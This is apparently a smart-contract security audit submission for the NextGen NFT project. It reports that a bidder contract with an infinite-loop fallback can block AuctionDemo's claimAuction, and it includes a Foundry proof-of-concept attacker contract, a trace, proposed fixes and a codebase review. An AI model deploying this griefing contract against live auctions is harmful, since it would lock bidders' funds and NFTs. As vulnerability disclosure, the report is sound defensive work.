NextGen - glcanvas's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L143 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L115-L118

Vulnerability details

Impact

Auction participants may lose all their money and winner won't receive his NFT.

This may happen because when we transfer nft to winner we additionally return all values to owners. (I.e. cancel bid).

Proof of Concept

Issue here is that participant might be contract with infinite loop inside. So, when auction ended and winner determined, he may lose all his gas and transaction will be reverted.

Possible case:

• Contract whose fallback function has only infinite cycle make a bid;
• Bob make the best bid with 10 ether;
• Auction ended;
• Bob tries to get his NFT, but before transfer NFT we need to refund ether to attacker contract

} else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

• Step above will call this:

    fallback() external payable {
        for(;;) {
        }
    }

And obviously will fail due to out of gas.

• Bob's transaction reverted. Bob lost his gas, his money and his NFT. No one can withdraw their money back.

I've wrote simple test for this:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Counter.sol";
import "../src/AuctionDemo.sol";
import "../src/ERC721.sol";
import "../src/NextGenCore.sol";
import "../src/MinterContract.sol";

contract AliceBadPranker {

    auctionDemo private auction;

    constructor(auctionDemo _auction) payable {
        auction = _auction;
    }

    function doBid() public {
        auction.participateToAuction{value:1}(1234);
    }

    fallback() external payable {
        for(;;) {

        }
    }
}

contract AuctionTest is Test {

    auctionDemo private auction;

    address private minter = address(0x001);
    address private gencore = address(0x002);
    address private adminContract = address(0x003);

    address private alice = makeAddr("alice");
    address private bob = makeAddr("bob");
    address private artist = makeAddr("artist");


    function setUp() public {
        auction = new auctionDemo(minter, gencore, adminContract);
        vm.warp(100);
        vm.deal(alice, 1_000);
        vm.deal(bob, 1_000);

        // mock
        vm.mockCall(minter,
            abi.encodeWithSelector(NextGenMinterContract.getAuctionEndTime.selector),
            abi.encode(block.timestamp + 100)
        );
        vm.mockCall(minter,
            abi.encodeWithSelector(NextGenMinterContract.getAuctionStatus.selector),
            abi.encode(true)
        );
        vm.mockCall(gencore,
            abi.encodeWithSelector(ERC721.ownerOf.selector, 1234),
            abi.encode(artist)
        );
        vm.mockCall(gencore,
            abi.encodeWithSelector(ERC721.transferFrom.selector, artist, bob, 1234),
            abi.encode(true)
        );
    }

    function testParticipate() public {
        vm.startPrank(alice);
        AliceBadPranker badPranker = new AliceBadPranker{value:10}(auction);
        badPranker.doBid();

        vm.startPrank(bob);
        auction.participateToAuction{value: 1_000}(1234);
        vm.warp(500);
        auction.claimAuction{gas: 1_000_000}(1234); // will fail out of gas
    }

}

this will be reverted with out of gas error:

% forge test -vvv
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for test/Auction.t.sol:AuctionTest
[FAIL. Reason: EvmError: Revert] testParticipate() (gas: 1286439)
Traces:
  [1286439] AuctionTest::testParticipate() 
    ├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) 
    │   └─ ← ()
    ├─ [63418] → new AliceBadPranker@0xC8501479803c58592eF3Be0beABBEE22e3377C08
    │   └─ ← 205 bytes of code
    ├─ [102152] AliceBadPranker::doBid() 
    │   ├─ [92347] auctionDemo::participateToAuction{value: 1}(1234) 
    │   │   ├─ [0] PRECOMPILE::ecrecover(930e79f100000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   │   └─ ← 0x00000000000000000000000000000000000000C8
    │   │   ├─ [0] PRECOMPILE::ecrecover(7765c52c00000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000001
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) 
    │   └─ ← ()
    ├─ [70528] auctionDemo::participateToAuction{value: 1000}(1234) 
    │   ├─ [0] PRECOMPILE::ecrecover(930e79f100000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   └─ ← 0x00000000000000000000000000000000000000C8
    │   ├─ [0] PRECOMPILE::ecrecover(7765c52c00000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000001
    │   └─ ← ()
    ├─ [0] VM::warp(500) 
    │   └─ ← ()
    ├─ [992154] auctionDemo::claimAuction(1234) 
    │   ├─ [0] PRECOMPILE::ecrecover(930e79f100000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   └─ ← 0x00000000000000000000000000000000000000C8
    │   ├─ [0] PRECOMPILE::ecrecover(7765c52c00000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000001
    │   ├─ [0] PRECOMPILE::sha256(6352211e00000000000000000000000000000000000000000000000000000000000004d2) [staticcall]
    │   │   └─ ← 0x0000000000000000000000008802b7f0bfa5e9f5825f2fc708e1ad00d2c2b5d6
    │   ├─ [939776] AliceBadPranker::fallback{value: 1}() 
    │   │   └─ ← "EvmError: OutOfGas"
    │   ├─ emit Refund(_add: AliceBadPranker: [0xC8501479803c58592eF3Be0beABBEE22e3377C08], tokenid: 1234, status: false, funds: 1000)
    │   ├─ [108] PRECOMPILE::sha256(42842e0e0000000000000000000000008802b7f0bfa5e9f5825f2fc708e1ad00d2c2b5d60000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e00000000000000000000000000000000000000000000000000000000000004d2) 
    │   │   └─ ← 0x0d3c45814ca72ef8f095ac0e87a54447a8d2a1823d870bdd59b383c89c9e6af1
    │   └─ ← "EvmError: OutOfGas"
    └─ ← "EvmError: Revert"

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.35ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

At the first change AuctionDemo structure:

1. Don't use just extended array list. It will cause to DDos (attacker can send a lot of transactions, and next participant may pay extremely large amount for gas). So, instead of just list use double linked list. This gives you possibility to remove/add/find winner with complexity = O(1).

2. Do not return money for other participants. Only owner should be withdraw his either back.

3. Make function claimAuction open for anyone.

Assessed type

ETH-Transfer

Codebase quality analysis

The overall quality of the codebase for NextGen can be classified as "Need work".

• At the first want to notice curious contracts usage. All contracts and interfaces placed in single folder without any division. Current approach significantly decrease readability. Better split it into

  • Interface directory;
  • Random directory;
  • Auction directory;
  • Core directory.

• Next item to notice is code formatting. Devs should follow widely used code style. To resolve this problem either use IntelliJ IDEA formatting or npm plugin.

• Another one issue is copy-paste OpenZeppelin Contracts, for this purpose better to use Hardhat or Foundry.

• Last one is naming. Use UpperCamelCase for contracts and lowerCamelCase for modifiers. Moreover, contract's name should be the same as file name.

• And the last one current contracts implementation doesn't have corresponding interfaces for easily code navigation.

Approach taken in evaluating the codebase

To evaluate an audit code base was used:

• Manual code review;
• Foundry for proof of concept;
• Remix IDE to assumption checking.

Architecture recommendations

At the first want to note NextGenAdmins contract, from my point of view current idea of authority is one of the best, because:

• You can observe all accesses in one place;
• Improves readability it is easy to audit all changes;
• This approach helps to easily add or remove rights for user in all contracts.

Another contracts divided correctly. Each of them does only what it needed to do, and nothing more.

But idea to mint next element based on MinIndex and Supply collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); is bad, because such approach adds more cases to make mistake during copy-paste. Better will be adding view function to Core contract, which returns next token to mint like function nextTokenToMint(uint256 _collectionId), and reverts if collection is full.

Next bad pattern is Core contract during mint relays in Mint contract. In current implementation all is correct, and corner cases handled normally, but in future version from minter contract some checks might be removed occasionally this leads to overflow variable collectionCirculationSupply.

Centralization risks

Current project is significantly centralized. This means that a lot of function can be called only by owner or trusted admins. This is not a good way to resolve possible issues. And, for example, collections can be created by anyone or artist. Moreover, collections details might be filled by artist too. Because in core users might create up to 10_000_000_000 collections.

Let's sum up:

• Now only admins can do all stuff (create collection, add info, and so on);
• This responsibility might be passed to collection owners too;
• Now only admins can create collections, better allow to create collections by anyone.

Mechanism review

NextGen is system of contracts, which can create and hande multiple ERC721 collections.

Core contract handles multiple ERC721 collections in single contract. This achieved by mapping collectionId on single line of tokenIds. Each collection has own continuous interval. This restricts amount of collections up to 10_000_000_000, this is more than enough.

It gives possibility to:

• Do all ERC721 stuff (burn tokens, mint tokens, transfer tokens);
• Create collections;
• Set randomizers for hash calculation;
• Set collection metadata;
• Set artists.

Moreover, during minting users can calculate their token hash based on random. These handles during calling one of randomizer. Current workflow is:

• User mints token;
• User calling random;
• Random calling underlying system Arrng or ChainLink;
• Callback filling hash in Core contract.

---

Then, another cornerstone is Minter contract. This contract linked with Core contract and processes minting, burning tokens for corresponding collections.

Minter contract has different possibility to mint, via:

• Mint when allow list market, to buy NFT user needs to provide merkle proof with maximum possible tokens to buy;
• Mint when public market;
• Mint when burning, this gives possibility to exchange one NFT to another one, this handles during burning old one and minting new one. Burned tokens can either one of NextGen collections or any external collections.

Next, minter gives possibility to distribute reward to artist and team.

To buy NFT users need to send a bit of ether to contract. Price estimation lies on this contract too.

Price can be either increase salesOption = 3 or decrease salesOption = 2 & allowList stage or be constant collectionMintCost.

• Price increase depends on current supply. THe more tokens in circulation, the higher the price. So this function is linear: price = offset + r * X, where X is circulation;
• Price decrease depends on time and is exponentially function. Like: price = initialPrice / time.

Systemic risks

• Unavailability of Arrng or ChainLink. This may stop filling token's hash. And current implementation doesn't have any late filling mechanism.
• Data inconsistency. Current NextGen implementation gives possibility to replace any system, like change Minter in Core contract and vice vera.
• Like any smart contract-based system, NextGen is exposed to potential coding bugs or vulnerabilities. Exploiting these issues could result in the loss of funds or manipulation of the protocol.
• Big centralization. All significant functions can be called only by admin team, this does not correspond to the idea of decentralization that web3 is trying to create.
• Lack of any input verification. Due to all create/modification functions under admin modifier, any verification absent. This likely to have fat finger problem.

Time spent:

30 hours